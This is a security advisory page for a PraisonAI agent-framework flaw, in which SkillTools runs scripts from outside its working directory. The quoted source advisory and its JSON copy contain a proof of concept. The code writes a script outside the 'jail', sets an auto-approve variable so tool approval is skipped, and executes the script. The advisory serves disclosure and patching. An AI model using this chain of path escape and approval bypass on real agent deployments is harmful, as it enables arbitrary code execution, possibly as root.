CVE-2026-61443: PraisonAI SkillTools Executes Scripts Without Path Vulnerability

HIGH
Advisory Identifier: GHSA-c44f-37qr-gw3f
CVSS 8.1
CWE-78 CWE-22
Published
Advisory Summary

CVE-2026-61443 is a HIGH (CVSS 8.1) skilltools executes scripts without path vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting PraisonAI libraries in the PyPI ecosystem. The issue involves skilltools executes scripts without path containment validation. Remediation is available by upgrading affected packages to version 1.6.78.

CVE-2026-61443 at a Glance

CVE Identifier CVE-2026-61443
GHSA Identifier GHSA-c44f-37qr-gw3f
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product PraisonAI
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-61443

To remediate this vulnerability, upgrade all affected PraisonAI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

praisonaiagents fixed: 1.6.78
pip install praisonaiagents>=1.6.78
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show praisonaiagents

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-61443, inspect your installed packages using pip:

pip show praisonaiagents

Analyze the terminal output to locate any version of PraisonAI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.6.78), your application is affected.

Note: The pip show praisonaiagents command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In PraisonAI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `SkillTools.run_skill_script()` accepts a `script_path` parameter and executes it via `subprocess.run()` without any path containment validation. While `FileTools` has `_validate_path()` with traversal detection, `SkillTools` performs none. An LLM-directed call can execute arbitrary scripts from any filesystem location. The `@require_approval` decorator can be bypassed via YAML `approve:` for high-risk tools. ### Details `src/praisonai-agents/praisonaiagents/tools/skill_tools.py` (lines 69-119): ```python def run_skill_script(self, script_path: str, ...): script_path = os.path.expanduser(script_path) if not os.path.isabs(script_path): script_path = os.path.join(self._working_directory, script_path) script_path = os.path.abspath(script_path) if not os.path.exists(script_path): return f"Error: Script not found at {script_path}" # No path traversal check, no containment validation # Directly executes whatever is at that path: result = subprocess.run(cmd, ...) ``` By contrast, `FileTools._validate_path()` (`src/praisonai-agents/praisonaiagents/tools/file_tools.py`, lines 42-78) properly validates that the resolved path stays within the working directory: ```python def _validate_path(self, filepath: str) -> str: # ... cwd = os.path.abspath(os.getcwd()) if os.path.commonpath([absolute, cwd]) != cwd: raise ValueError(f"Path traversal detected: {filepath} escapes workspace {cwd}") ``` `SkillTools` has no equivalent check. ### PoC ```python import os, tempfile from praisonaiagents.tools.skill_tools import SkillTools # Create a "safe" working directory (the jail) jail = tempfile.mkdtemp(prefix="skill_jail_") # Create a malicious script OUTSIDE the jail attack_script = os.path.join(tempfile.gettempdir(), "malicious_skill.sh") with open(attack_script, 'w') as f: f.write("#!/bin/bash\n") f.write("echo \"PROOF_OF_EXPLOIT: Script executed outside jail\"\n") f.write("echo \"USER: $(whoami)\"\n") f.write("echo \"HOSTNAME: $(hostname)\"\n") os.chmod(attack_script, 0o755) # Bypass approval (simulates Docker env or YAML approve:) os.environ["PRAISONAI_AUTO_APPROVE"] = "true" st = SkillTools() st._working_directory = jail # Pretend we're confined # Run script from OUTSIDE the jail — no path validation! result = st.run_skill_script(attack_script) print(result) # Output: # PROOF_OF_EXPLOIT: Script executed outside jail # USER: anushkavirgaonkar # HOSTNAME: Anushkas-MacBook-Pro-2.local # Cleanup del os.environ["PRAISONAI_AUTO_APPROVE"] os.unlink(attack_script) os.rmdir(jail) ``` **Tested result:** The script at `/tmp/malicious_skill.sh` executed successfully despite the working directory being set to a jail directory. The output confirms arbitrary script execution including `whoami` and `hostname`. No path containment check exists — the absolute path is accepted and executed directly. ### Impact - **Arbitrary script execution**: Run any script on the filesystem from any location - **Chaining with file write**: Write a malicious script via `write_file` (YAML-approvable as a high-risk tool), then execute it via `run_skill_script` - **Root-level impact in Docker**: All PraisonAI Docker containers run as root (no `USER` directive), so an escaped script runs with full root privileges

CVE-2026-61443 Affected PraisonAI Versions

1 component(s)
Fixed Versions:
1.6.78
Product / Package Ecosystem Affected Versions Fixed Version
praisonaiagents
PyPI
< 1.6.78
1.6.78

References

Frequently Asked Questions

What is CVE-2026-61443?
CVE-2026-61443 is a security vulnerability in PraisonAI involving SkillTools Executes Scripts Without Path Containment Validation under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which PraisonAI versions are affected?
Affected versions include releases prior to 1.6.78 across affected packages: praisonaiagents.
What version fixes CVE-2026-61443?
Upgrading to 1.6.78 (or the latest patched release for your respective branch) resolves the vulnerability.
Is praisonaiagents affected?
Yes, praisonaiagents is affected in releases prior to 1.6.78. Upgrade your dependency to 1.6.78 or later.
What is the CVSS score of CVE-2026-61443?
CVE-2026-61443 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2026-61443?
CVE-2026-61443 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check PyPI dependencies for CVE-2026-61443?
Run the dependency tree command: 'pip show praisonaiagents'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-c44f-37qr-gw3f",
  "modified" : "2026-10-08T16:49:23Z",
  "published" : "2026-10-08T16:49:23Z",
  "aliases" : [ "CVE-2026-61443" ],
  "summary" : "PraisonAI: SkillTools Executes Scripts Without Path Containment Validation",
  "details" : "### Summary\n`SkillTools.run_skill_script()` accepts a `script_path` parameter and executes it via `subprocess.run()` without any path containment validation. While `FileTools` has `_validate_path()` with traversal detection, `SkillTools` performs none. An LLM-directed call can execute arbitrary scripts from any filesystem location. The `@require_approval` decorator can be bypassed via YAML `approve:` for high-risk tools.\n\n### Details\n`src/praisonai-agents/praisonaiagents/tools/skill_tools.py` (lines 69-119):\n\n```python\ndef run_skill_script(self, script_path: str, ...):\n    script_path = os.path.expanduser(script_path)\n    if not os.path.isabs(script_path):\n        script_path = os.path.join(self._working_directory, script_path)\n    script_path = os.path.abspath(script_path)\n\n    if not os.path.exists(script_path):\n        return f\"Error: Script not found at {script_path}\"\n\n    # No path traversal check, no containment validation\n    # Directly executes whatever is at that path:\n    result = subprocess.run(cmd, ...)\n```\n\nBy contrast, `FileTools._validate_path()` (`src/praisonai-agents/praisonaiagents/tools/file_tools.py`, lines 42-78) properly validates that the resolved path stays within the working directory:\n\n```python\ndef _validate_path(self, filepath: str) -> str:\n    # ...\n    cwd = os.path.abspath(os.getcwd())\n    if os.path.commonpath([absolute, cwd]) != cwd:\n        raise ValueError(f\"Path traversal detected: {filepath} escapes workspace {cwd}\")\n```\n\n`SkillTools` has no equivalent check.\n\n### PoC\n\n```python\nimport os, tempfile\nfrom praisonaiagents.tools.skill_tools import SkillTools\n\n# Create a \"safe\" working directory (the jail)\njail = tempfile.mkdtemp(prefix=\"skill_jail_\")\n\n# Create a malicious script OUTSIDE the jail\nattack_script = os.path.join(tempfile.gettempdir(), \"malicious_skill.sh\")\nwith open(attack_script, 'w') as f:\n    f.write(\"#!/bin/bash\\n\")\n    f.write(\"echo \\\"PROOF_OF_EXPLOIT: Script executed outside jail\\\"\\n\")\n    f.write(\"echo \\\"USER: $(whoami)\\\"\\n\")\n    f.write(\"echo \\\"HOSTNAME: $(hostname)\\\"\\n\")\nos.chmod(attack_script, 0o755)\n\n# Bypass approval (simulates Docker env or YAML approve:)\nos.environ[\"PRAISONAI_AUTO_APPROVE\"] = \"true\"\n\nst = SkillTools()\nst._working_directory = jail  # Pretend we're confined\n\n# Run script from OUTSIDE the jail — no path validation!\nresult = st.run_skill_script(attack_script)\nprint(result)\n# Output:\n#   PROOF_OF_EXPLOIT: Script executed outside jail\n#   USER: anushkavirgaonkar\n#   HOSTNAME: Anushkas-MacBook-Pro-2.local\n\n# Cleanup\ndel os.environ[\"PRAISONAI_AUTO_APPROVE\"]\nos.unlink(attack_script)\nos.rmdir(jail)\n```\n\n**Tested result:** The script at `/tmp/malicious_skill.sh` executed successfully despite the working directory being set to a jail directory. The output confirms arbitrary script execution including `whoami` and `hostname`. No path containment check exists — the absolute path is accepted and executed directly.\n\n\n### Impact\n- **Arbitrary script execution**: Run any script on the filesystem from any location\n- **Chaining with file write**: Write a malicious script via `write_file` (YAML-approvable as a high-risk tool), then execute it via `run_skill_script`\n- **Root-level impact in Docker**: All PraisonAI Docker containers run as root (no `USER` directive), so an escaped script runs with full root privileges",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "praisonaiagents"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.6.78"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.6.77"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-c44f-37qr-gw3f"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-61443"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-62168"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/praisonai-before-remote-code-execution-via-skilltools"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-78" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-08T16:49:23Z",
    "nvd_published_at" : "2026-07-15T17:16:52Z"
  }
}